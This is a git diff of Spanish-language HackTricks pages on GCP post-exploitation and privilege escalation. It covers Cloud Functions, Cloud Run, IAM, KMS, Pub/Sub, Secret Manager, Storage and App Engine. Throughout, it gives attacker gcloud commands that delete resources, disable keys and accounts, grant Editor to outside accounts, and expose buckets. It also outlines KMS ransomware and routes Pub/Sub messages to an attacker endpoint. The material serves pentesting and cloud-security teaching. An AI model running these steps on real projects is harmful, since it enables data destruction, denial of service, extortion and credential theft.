El permiso `cloudfunctions.functions.delete` permite a una identidad eliminar completamente una Cloud Function, incluyendo su código, configuración, triggers y su asociación con service accounts.
|
||||
```bash
|
||||
gcloud functions delete <FUNCTION_NAME> \
|
||||
--region=us-central1 \
|
||||
--quiet
|
||||
```
|
||||
### Exfiltración de código a través del bucket
|
||||
Los permisos `storage.objects.get` y `storage.objects.list` permiten listar y leer objetos dentro de un bucket, y en el caso de Cloud Functions esto es especialmente relevante porque cada función almacena su código fuente en un bucket gestionado automáticamente por Google, cuyo nombre sigue el formato `gcf-sources-<PROJECT_NUMBER>-<REGION>`
|
||||
|
||||
|
||||
### Robar solicitudes de Cloud Function
|
||||
|
||||
Si la Cloud Function está gestionando información sensible que los usuarios envían (p. ej. contraseñas o tokens), con suficientes privilegios podrías **modificar el código fuente de la función y exfiltrate** esta información.
|
||||
Si la Cloud Function está manejando información sensible que los usuarios envían (p. ej. contraseñas o tokens), con privilegios suficientes podrías **modificar el código fuente de la función y exfiltrar** esta información.
|
||||
|
||||
Además, las Cloud Functions que se ejecutan en python usan **flask** para exponer el servidor web. Si de alguna manera encuentras una code injection vulnerability dentro del proceso de flask (por ejemplo una vulnerabilidad SSTI), es posible **override the function handler** que va a recibir las HTTP requests por una **malicious function** que puede **exfiltrate the request** antes de pasarlas al legit handler.
|
||||
Además, Cloud Functions que se ejecutan en python usan **flask** para exponer el servidor web; si de alguna manera encuentras una vulnerabilidad de inyección de código dentro del proceso de flask (por ejemplo una vulnerabilidad SSTI), es posible **sobrescribir el manejador de la función** que va a recibir las solicitudes HTTP por una **función maliciosa** que puede **exfiltrar la solicitud** antes de pasarla al manejador legítimo.
|
||||
|
||||
Por ejemplo este código implementa el ataque:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Robar solicitudes de Cloud Function (Python injection)</summary>
|
||||
```python
|
||||
import functions_framework
|
||||
|
||||
@@ -132,8 +133,4 @@ return "Injection completed!"
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+17
-6
@@ -1,4 +1,4 @@
|
||||
# GCP - Cloud Run Post Explotación
|
||||
# GCP - Cloud Run Post-explotación
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,14 +10,25 @@ Para más información sobre Cloud Run consulta:
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Acceder a las imágenes
|
||||
### Eliminar CloudRun Job
|
||||
Los permisos `run.services.delete` y `run.services.get`, así como `run.jobs.delete`, permiten a una identidad eliminar completamente un servicio o job de Cloud Run, incluida su configuración e historial. En manos de un atacante, esto puede provocar una interrupción inmediata de aplicaciones o flujos de trabajo críticos, resultando en un denial of service (DoS) para los usuarios y sistemas que dependen de la lógica del servicio o de tareas programadas esenciales.
|
||||
|
||||
Si puedes acceder a las imágenes del contenedor, revisa el código en busca de vulnerabilidades e información sensible codificada. También busca información sensible en variables de entorno.
|
||||
Para eliminar un job, se puede realizar la siguiente operación.
|
||||
```bash
|
||||
gcloud run jobs delete <JOB_NAME> --region=<REGION> --quiet
|
||||
```
|
||||
Para eliminar un servicio, se puede realizar la siguiente operación.
|
||||
```bash
|
||||
gcloud run services delete <SERVICE_NAME> --region=<REGION> --quiet
|
||||
```
|
||||
### Accede a las imágenes
|
||||
|
||||
Si las imágenes están almacenadas en repositorios dentro del servicio Artifact Registry y el usuario tiene acceso de lectura sobre los repositorios, también podría descargar la imagen de este servicio.
|
||||
Si puedes acceder a las imágenes de contenedor, revisa el código en busca de vulnerabilidades e información sensible hardcodeada. También busca información sensible en las variables de entorno.
|
||||
|
||||
### Modificar y redeplegar la imagen
|
||||
Si las imágenes están almacenadas en repositorios dentro del servicio Artifact Registry y el usuario tiene acceso de lectura a los repositorios, también podría descargar la imagen desde este servicio.
|
||||
|
||||
Modifica la imagen de ejecución para robar información y redepliega la nueva versión (simplemente subir un nuevo contenedor docker con las mismas etiquetas no lo ejecutará). Por ejemplo, si está exponiendo una página de inicio de sesión, roba las credenciales que los usuarios están enviando.
|
||||
### Modifica y vuelve a desplegar la imagen
|
||||
|
||||
Modifica la imagen en ejecución para robar información y vuelve a desplegar la nueva versión (subir un nuevo contenedor docker con las mismas etiquetas no hará que se ejecute). Por ejemplo, si expone una página de login, roba las credenciales que los usuarios envían.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+30
-12
@@ -1,10 +1,10 @@
|
||||
# GCP - IAM Post-explotación
|
||||
# GCP - IAM Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
Puedes encontrar más información sobre IAM en:
|
||||
You can find further information about IAM in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
@@ -12,22 +12,40 @@ Puedes encontrar más información sobre IAM en:
|
||||
|
||||
### Conceder acceso a la consola de administración <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
|
||||
El acceso a la [GCP management console](https://console.cloud.google.com) se **proporciona a cuentas de usuario, no a cuentas de servicio**. Para iniciar sesión en la interfaz web, puedes **conceder acceso a una cuenta de Google** que controles. Esto puede ser una cuenta genérica "**@gmail.com**", **no tiene que ser miembro de la organización objetivo**.
|
||||
El acceso a la [GCP management console](https://console.cloud.google.com) **se proporciona a cuentas de usuario, no a cuentas de servicio**. Para iniciar sesión en la interfaz web, puedes **otorgar acceso a una cuenta de Google** que controles. Esto puede ser una cuenta genérica "**@gmail.com**", **no tiene que ser miembro de la organización objetivo**.
|
||||
|
||||
Sin embargo, para **conceder** el rol primitivo de **Owner** a una cuenta genérica "@gmail.com", necesitarás **usar la consola web**. `gcloud` dará error si intentas otorgarle un permiso superior a Editor.
|
||||
Sin embargo, para **conceder** el rol primitivo de **Owner** a una cuenta genérica "@gmail.com", necesitarás **usar la consola web**. `gcloud` devolverá un error si intentas otorgarle un permiso por encima de Editor.
|
||||
|
||||
Puedes usar el siguiente comando para **conceder a un usuario el rol primitivo de Editor** en tu proyecto existente:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Conceder rol Editor a un usuario</summary>
|
||||
Puedes usar el siguiente comando para **conceder a un usuario el rol primitivo Editor** en tu proyecto existente:
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
|
||||
```
|
||||
</details>
|
||||
Si tuviste éxito aquí, intenta **acceder a la interfaz web** y explorar desde allí.
|
||||
|
||||
Si lo lograste aquí, prueba a **acceder a la interfaz web** y explorar desde allí.
|
||||
Esto es el **nivel más alto que puedes asignar usando la herramienta gcloud**.
|
||||
|
||||
Este es el **nivel más alto que puedes asignar con la herramienta gcloud**.
|
||||
### Eliminar componentes de IAM `iam.*.delete`
|
||||
Los permisos `iam.*.delete` (p. ej., `iam.roles.delete`, `iam.serviceAccountApiKeyBindings.delete`, `iam.serviceAccountKeys.delete`, etc.) permiten que una identidad elimine componentes críticos de IAM como roles personalizados, vínculos de API keys, claves de cuentas de servicio y las propias cuentas de servicio. En manos de un atacante, esto hace posible eliminar mecanismos legítimos de acceso para provocar una denegación de servicio.
|
||||
|
||||
Para llevar a cabo tal ataque, es posible, por ejemplo, eliminar roles usando:
|
||||
```bash
|
||||
gcloud iam roles delete <ROLE_ID> --project=<PROJECT_ID>
|
||||
```
|
||||
### `iam.serviceAccountKeys.disable` || `iam.serviceAccounts.disable`
|
||||
|
||||
Los permisos `iam.serviceAccountKeys.disable` y `iam.serviceAccounts.disable` permiten desactivar claves activas de cuentas de servicio o las cuentas de servicio; en manos de un atacante esto podría utilizarse para interrumpir operaciones, provocar denegación de servicio o dificultar la respuesta a incidentes al impedir el uso de credenciales legítimas.
|
||||
|
||||
Para desactivar una cuenta de servicio, puedes usar el siguiente comando:
|
||||
```bash
|
||||
gcloud iam service-accounts disable <SA_EMAIL> --project=<PROJECT_ID>
|
||||
```
|
||||
Para deshabilitar las keys de un Service Account, puedes usar el siguiente comando:
|
||||
```bash
|
||||
gcloud iam service-accounts keys disable <KEY_ID> --iam-account=<SA_EMAIL>
|
||||
```
|
||||
### `iam.*.undelete`
|
||||
Los permisos `iam.*.undelete` permiten restaurar elementos previamente eliminados, tales como vinculaciones de claves API, roles personalizados o cuentas de servicio. En manos de un atacante, esto puede usarse para revertir acciones defensivas (recuperar accesos eliminados), restablecer vectores de compromiso eliminados para mantener persistencia o evadir esfuerzos de remediación, complicando la contención del incidente.
|
||||
```bash
|
||||
gcloud iam service-accounts undelete "${SA_ID}" --project="${PROJECT}"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+36
-10
@@ -1,4 +1,4 @@
|
||||
# GCP - KMS Post Exploitation
|
||||
# GCP - KMS Post Explotación
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@ Encuentra información básica sobre KMS en:
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.destroy`
|
||||
|
||||
Un atacante con este permiso podría destruir una versión de KMS. Para hacerlo, primero necesitas deshabilitar la clave y luego destruirla:
|
||||
Un atacante con este permiso podría destruir una versión de KMS. Para hacerlo primero necesitas deshabilitar la clave y luego destruirla:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -65,24 +65,24 @@ destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
|
||||
### KMS Ransomware
|
||||
|
||||
En AWS es posible completamente **steal a KMS key** modificando la KMS resource policy y permitiendo únicamente que la cuenta del atacante utilice la key. Como estas resource policies no existen en GCP, esto no es posible.
|
||||
En AWS es posible **robar completamente una KMS key** modificando la política de recursos de KMS y permitiendo únicamente que la cuenta del atacante use la key. Como estas políticas de recursos no existen en GCP, esto no es posible.
|
||||
|
||||
Sin embargo, existe otra forma de realizar un KMS Ransomware global, que implicaría los siguientes pasos:
|
||||
Sin embargo, hay otra forma de realizar un KMS Ransomware global, que implicaría los siguientes pasos:
|
||||
|
||||
- Crear una nueva **version of the key with a key material** importado por el atacante
|
||||
- Crear una nueva **versión de la key con un key material** importado por el atacante
|
||||
```bash
|
||||
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
|
||||
```
|
||||
- Establécela como **versión predeterminada** (para los datos que se cifren en el futuro)
|
||||
- **Volver a cifrar los datos antiguos** cifrados con la versión anterior usando la nueva.
|
||||
- **Eliminar la clave KMS**
|
||||
- Ahora solo el atacante que posee el material clave original podría ser capaz de descifrar los datos cifrados
|
||||
- Establecerla como **versión predeterminada** (para los datos futuros que se cifren)
|
||||
- **Re-encriptar los datos antiguos** cifrados con la versión anterior usando la nueva.
|
||||
- **Eliminar la KMS key**
|
||||
- Ahora solo el atacante, que posee el material de clave original, podría ser capaz de descifrar los datos cifrados
|
||||
|
||||
#### Aquí están los pasos para importar una nueva versión y deshabilitar/eliminar los datos antiguos:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Importar nueva versión de clave y eliminar versión antigua</summary>
|
||||
<summary>Importar nueva versión de la clave y eliminar la versión antigua</summary>
|
||||
```bash
|
||||
# Encrypt something with the original key
|
||||
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
|
||||
@@ -270,6 +270,32 @@ return verify_response.success
|
||||
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
|
||||
print('Verified:', verified)
|
||||
```
|
||||
### `cloudkms.cryptoKeyVersions.restore`
|
||||
El permiso `cloudkms.cryptoKeyVersions.restore` permite a una identidad restaurar una versión de clave que previamente fue programada para destrucción o deshabilitada en Cloud KMS, devolviéndola a un estado activo y utilizable.
|
||||
```bash
|
||||
gcloud kms keys versions restore <VERSION_ID> \
|
||||
--key=<KEY_NAME> \
|
||||
--keyring=<KEYRING_NAME> \
|
||||
--location=<LOCATION> \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
### `cloudkms.cryptoKeyVersions.update`
|
||||
El permiso `cloudkms.cryptoKeyVersions.update` permite a una identidad modificar los atributos o el estado de una versión específica de clave en Cloud KMS, por ejemplo habilitándola o deshabilitándola.
|
||||
```bash
|
||||
# Disable key
|
||||
gcloud kms keys versions disable <VERSION_ID> \
|
||||
--key=<KEY_NAME> \
|
||||
--keyring=<KEYRING_NAME> \
|
||||
--location=<LOCATION> \
|
||||
--project=<PROJECT_ID>
|
||||
|
||||
# Enable key
|
||||
gcloud kms keys versions enable <VERSION_ID> \
|
||||
--key=<KEY_NAME> \
|
||||
--keyring=<KEYRING_NAME> \
|
||||
--location=<LOCATION> \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+44
-18
@@ -4,7 +4,7 @@
|
||||
|
||||
## Pub/Sub
|
||||
|
||||
Para más información sobre Pub/Sub consulta la siguiente página:
|
||||
Para más información sobre Pub/Sub, consulta la siguiente página:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-pub-sub.md
|
||||
@@ -12,7 +12,7 @@ Para más información sobre Pub/Sub consulta la siguiente página:
|
||||
|
||||
### `pubsub.topics.publish`
|
||||
|
||||
Publicar un mensaje en un topic, útil para **enviar datos inesperados** y activar funcionalidades inesperadas o explotar vulnerabilidades:
|
||||
Publicar un mensaje en un topic, útil para **enviar datos inesperados** y activar funcionalidades inesperadas o exploit vulnerabilities:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -25,7 +25,7 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
|
||||
|
||||
### `pubsub.topics.detachSubscription`
|
||||
|
||||
Útil para evitar que una suscripción reciba mensajes, posiblemente para evitar la detección.
|
||||
Útil para evitar que una suscripción reciba mensajes, quizá para evadir la detección.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -37,8 +37,8 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.topics.delete`
|
||||
|
||||
Útil para evitar que una subscription reciba mensajes, quizás para evadir la detección.\
|
||||
Es posible eliminar un topic incluso con subscriptions adjuntas.
|
||||
Útil para evitar que una subscription reciba mensajes, quizá para evitar la detección.\
|
||||
Es posible eliminar un topic incluso con subscriptions adjuntas a él.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -50,30 +50,56 @@ gcloud pubsub topics delete <TOPIC NAME>
|
||||
|
||||
### `pubsub.topics.update`
|
||||
|
||||
Usa este permiso para actualizar alguna configuración del topic para interrumpirlo, como `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
Utiliza este permiso para actualizar alguna configuración del topic y así interrumpirlo, por ejemplo `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
|
||||
### `pubsub.topics.setIamPolicy`
|
||||
|
||||
Date permiso para realizar cualquiera de los ataques anteriores.
|
||||
```bash
|
||||
# Add Binding
|
||||
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Remove Binding
|
||||
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Change Policy
|
||||
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
|
||||
<(echo '{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE_OR_CUSTOM_ROLE>",
|
||||
"members": [
|
||||
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
|
||||
]
|
||||
}
|
||||
]
|
||||
}') \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
|
||||
|
||||
Obtener todos los mensajes en un servidor web:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Crear una suscripción push para recibir mensajes</summary>
|
||||
<summary>Crear suscripción push para recibir mensajes</summary>
|
||||
```bash
|
||||
# Crete push subscription and recieve all the messages instantly in your web server
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
|
||||
```
|
||||
</details>
|
||||
|
||||
Crea una suscripción y úsala para **pull messages**:
|
||||
Crear una suscripción y usarla para **recuperar mensajes**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Crear pull subscription y recuperar mensajes</summary>
|
||||
<summary>Crear una suscripción pull y recuperar mensajes</summary>
|
||||
```bash
|
||||
# This will retrive a non ACKed message (and won't ACK it)
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
@@ -86,7 +112,7 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.subscriptions.delete`
|
||||
|
||||
**Eliminar una suscripción** podría ser útil para interrumpir un sistema de procesamiento de logs o algo similar:
|
||||
**Eliminar una suscripción** podría ser útil para interrumpir un sistema de procesamiento de registros o algo similar:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -98,7 +124,7 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.subscriptions.update`
|
||||
|
||||
Usa este permiso para actualizar alguna configuración de modo que los mensajes se almacenen en un lugar al que puedas acceder (URL, Big Query table, Bucket) o simplemente para interrumpirlo.
|
||||
Usa este permiso para actualizar alguna configuración para que los mensajes se almacenen en un lugar al que puedas acceder (URL, Big Query table, Bucket) o simplemente para interrumpirlo.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -110,16 +136,16 @@ gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name
|
||||
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
Otórgate los permisos necesarios para realizar cualquiera de los ataques mencionados anteriormente.
|
||||
Date los permisos necesarios para realizar cualquiera de los ataques comentados anteriormente.
|
||||
|
||||
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
|
||||
|
||||
Adjunta un schema a un topic para que los messages no lo cumplan y, por tanto, el topic quede interrumpido.\
|
||||
Si no hay ningún schema, quizá necesites crear uno.
|
||||
Adjunta un schema a un topic de modo que los mensajes no lo cumplan y, por tanto, el topic quede interrumpido.\
|
||||
Si no hay schemas, puede que necesites crear uno.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Crear archivo de schema y adjuntarlo al topic</summary>
|
||||
<summary>Crear archivo schema y adjuntarlo al topic</summary>
|
||||
```json:schema.json
|
||||
{
|
||||
"namespace": "com.example",
|
||||
@@ -148,7 +174,7 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
|
||||
|
||||
### `pubsub.schemas.delete`
|
||||
|
||||
Esto podría parecer que, al eliminar un schema, podrás enviar mensajes que no cumplan con el schema. Sin embargo, como el schema será eliminado, ningún mensaje entrará realmente en el topic. Así que esto es **INÚTIL**:
|
||||
Esto podría parecer que al eliminar un schema podrás enviar mensajes que no cumplan con el schema. Sin embargo, como el schema será eliminado, ningún mensaje entrará realmente en el topic. Así que esto es **INÚTIL**:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -160,11 +186,11 @@ gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
|
||||
### `pubsub.schemas.setIamPolicy`
|
||||
|
||||
Otórgate los permisos necesarios para realizar cualquiera de los attacks comentados anteriormente.
|
||||
Otórgate los permisos necesarios para llevar a cabo cualquiera de los ataques comentados anteriormente.
|
||||
|
||||
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
|
||||
|
||||
Esto creará un snapshot de todos los mensajes unACKed y los volverá a colocar en la subscription. No muy útil para un attacker pero aquí está:
|
||||
Esto creará un snapshot de todos los mensajes unACKed y los devolverá a la suscripción. No es muy útil para un atacante pero aquí está:
|
||||
|
||||
<details>
|
||||
|
||||
|
||||
+24
-1
@@ -12,7 +12,7 @@ Para más información sobre Secret Manager consulta:
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
Esto te da acceso para leer los secrets del Secret Manager y posiblemente esto podría ayudar a escalate privileges (dependiendo de qué información esté almacenada dentro del secret):
|
||||
Esto te da acceso para leer los secrets del secret manager y quizá esto pueda ayudar a escalar privilegios (dependiendo de qué información esté almacenada dentro del secret):
|
||||
|
||||
<details>
|
||||
|
||||
@@ -23,4 +23,27 @@ gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `secretmanager.versions.destroy`
|
||||
El permiso `secretmanager.versions.destroy` permite a una identidad destruir permanentemente (marcar como eliminada de forma irreversible) una versión específica de un secret en Secret Manager, lo que podría permitir la eliminación de credenciales críticas y potencialmente causar denial of service o impedir la recuperación de datos sensibles.
|
||||
```bash
|
||||
gcloud secrets versions destroy <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
|
||||
```
|
||||
### `secretmanager.versions.disable`
|
||||
El permiso `secretmanager.versions.disable` permite a una identidad deshabilitar versiones activas de secretos en Secret Manager, bloqueando temporalmente su uso por parte de aplicaciones o servicios que dependan de ellas.
|
||||
```bash
|
||||
gcloud secrets versions disable <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
|
||||
```
|
||||
### `secretmanager.secrets.delete`
|
||||
El conjunto de permisos `secretmanager.secrets.delete` permite a una identidad eliminar por completo un secreto y todas sus versiones almacenadas en Secret Manager.
|
||||
```bash
|
||||
gcloud secrets delete <SECRET_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
### `secretmanager.secrets.update`
|
||||
El permiso `secretmanager.secrets.update` permite a una identidad modificar los metadatos y la configuración de un secreto (por ejemplo, ajustes de rotación, política de versiones, etiquetas y ciertas propiedades del secreto).
|
||||
```bash
|
||||
gcloud secrets update SECRET_NAME \
|
||||
--project=PROJECT_ID \
|
||||
--clear-labels \
|
||||
--rotation-period=DURATION
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+55
-9
@@ -10,13 +10,9 @@ Para más información sobre Cloud Storage consulta esta página:
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Dar acceso público
|
||||
### Conceder acceso público
|
||||
|
||||
Es posible dar a usuarios externos (con sesión en GCP o no) acceso al contenido de buckets. Sin embargo, por defecto el bucket tendrá deshabilitada la opción de exponer públicamente su contenido:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Hacer bucket/objects públicos</summary>
|
||||
Es posible otorgar a usuarios externos (con sesión en GCP o no) acceso al contenido de los buckets. Sin embargo, por defecto la opción para exponer públicamente un bucket estará deshabilitada:
|
||||
```bash
|
||||
# Disable public prevention
|
||||
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
|
||||
@@ -29,10 +25,60 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
|
||||
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
```
|
||||
</details>
|
||||
Si intentas otorgar **ACLs a un bucket con ACLs deshabilitadas** verás este error: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
|
||||
Si intentas dar **ACLs a un bucket con ACLs deshabilitadas** encontrarás este error: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
Para acceder a buckets abiertos desde el navegador, accede a la URL `https://<bucket_name>.storage.googleapis.com/` o `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
|
||||
Para acceder a buckets abiertos vía navegador, accede a la URL `https://<bucket_name>.storage.googleapis.com/` o `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
### `storage.objects.delete` (`storage.objects.get`)
|
||||
|
||||
Para eliminar un objeto:
|
||||
```bash
|
||||
gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list`
|
||||
|
||||
Para eliminar un bucket:
|
||||
```bash
|
||||
gcloud storage rm -r gs://<BUCKET_NAME>
|
||||
```
|
||||
### Desactivar claves HMAC
|
||||
|
||||
El permiso `storage.hmacKeys.update` permite deshabilitar claves HMAC, y el permiso `storage.hmacKeys.delete` permite a una identidad eliminar claves HMAC asociadas con cuentas de servicio en Cloud Storage.
|
||||
```bash
|
||||
# Deactivate
|
||||
gcloud storage hmac update <ACCESS_ID> --deactivate
|
||||
|
||||
# Delete
|
||||
gcloud storage hmac delete <ACCESS_ID>
|
||||
```
|
||||
### `storage.buckets.setIpFilter` & `storage.buckets.update`
|
||||
El permiso `storage.buckets.setIpFilter`, junto con el permiso `storage.buckets.update`, permite a una identidad configurar filtros de direcciones IP en un bucket de Cloud Storage, especificando qué rangos o direcciones IP pueden acceder a los recursos del bucket.
|
||||
|
||||
Para borrar completamente el filtro de direcciones IP, se puede usar el siguiente comando:
|
||||
```bash
|
||||
gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
Para cambiar las IPs filtradas, se puede usar el siguiente comando:
|
||||
```bash
|
||||
gcloud storage buckets update gs://<BUCKET_NAME> \
|
||||
--ip-filter-file=ip-filter.json \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
El archivo JSON representa el propio filtro, algo así:
|
||||
```bash
|
||||
{
|
||||
"mode": "Enabled",
|
||||
"publicNetworkSource": {
|
||||
"allowedIpCidrRanges": ["<IP>/<MASK>"]
|
||||
},
|
||||
"allowCrossOrgVpcs": false,
|
||||
"allowAllServiceAgentAccess": false
|
||||
}
|
||||
```
|
||||
### `storage.buckets.restore`
|
||||
Restaurar un bucket usando:
|
||||
```bash
|
||||
gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+124
-72
@@ -1,87 +1,139 @@
|
||||
# GCP - Apikeys Privesc
|
||||
# GCP - AppEngine Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Apikeys
|
||||
## App Engine
|
||||
|
||||
Los siguientes permisos son útiles para crear y robar API keys, nota esto de la documentación: _Una API key es una cadena simple encriptada que **identifica una aplicación sin ningún principal**. Son útiles para acceder a **datos públicos de forma anónima**, y se usan para **asociar** las solicitudes de API con tu proyecto para cuota y **facturación**._
|
||||
|
||||
Por lo tanto, con una API key puedes hacer que la empresa pague por tu uso de la API, pero no podrás escalar privilegios.
|
||||
|
||||
For more information about API Keys check:
|
||||
Para más información sobre App Engine consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
{{#endref}}
|
||||
|
||||
For other ways to create API keys check:
|
||||
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
|
||||
|
||||
Esos son los permisos necesarios para **desplegar una App usando `gcloud` cli**. Quizá los **`get`** y **`list`** podrían **evitarse**.
|
||||
|
||||
You can find python code examples in [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
|
||||
|
||||
By default, the name of the App service is going to be **`default`**, and there can be only 1 instance with the same name.\
|
||||
Para cambiarlo y crear una segunda App, en **`app.yaml`**, cambia el valor de la clave raíz por algo como **`service: my-second-app`**
|
||||
```bash
|
||||
cd python-docs-samples/appengine/flexible/hello_world
|
||||
gcloud app deploy #Upload and start application inside the folder
|
||||
```
|
||||
Espera al menos 10–15 minutos; si no funciona, intenta **desplegarlo de nuevo varias veces** y espera unos minutos.
|
||||
|
||||
> [!NOTE]
|
||||
> Es **posible indicar la Service Account a usar** pero por defecto se usa la App Engine default SA.
|
||||
|
||||
La URL de la aplicación es algo como `https://<proj-name>.oa.r.appspot.com/` o `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
|
||||
|
||||
### Actualizar permisos equivalentes
|
||||
|
||||
Puede que tengas suficientes permisos para actualizar un AppEngine pero no para crear uno nuevo. En ese caso, así es como podrías actualizar el App Engine actual:
|
||||
```bash
|
||||
# Find the code of the App Engine in the buckets
|
||||
gsutil ls
|
||||
|
||||
# Download code
|
||||
mkdir /tmp/appengine2
|
||||
cd /tmp/appengine2
|
||||
## In this case it was found in this custom bucket but you could also use the
|
||||
## buckets generated when the App Engine is created
|
||||
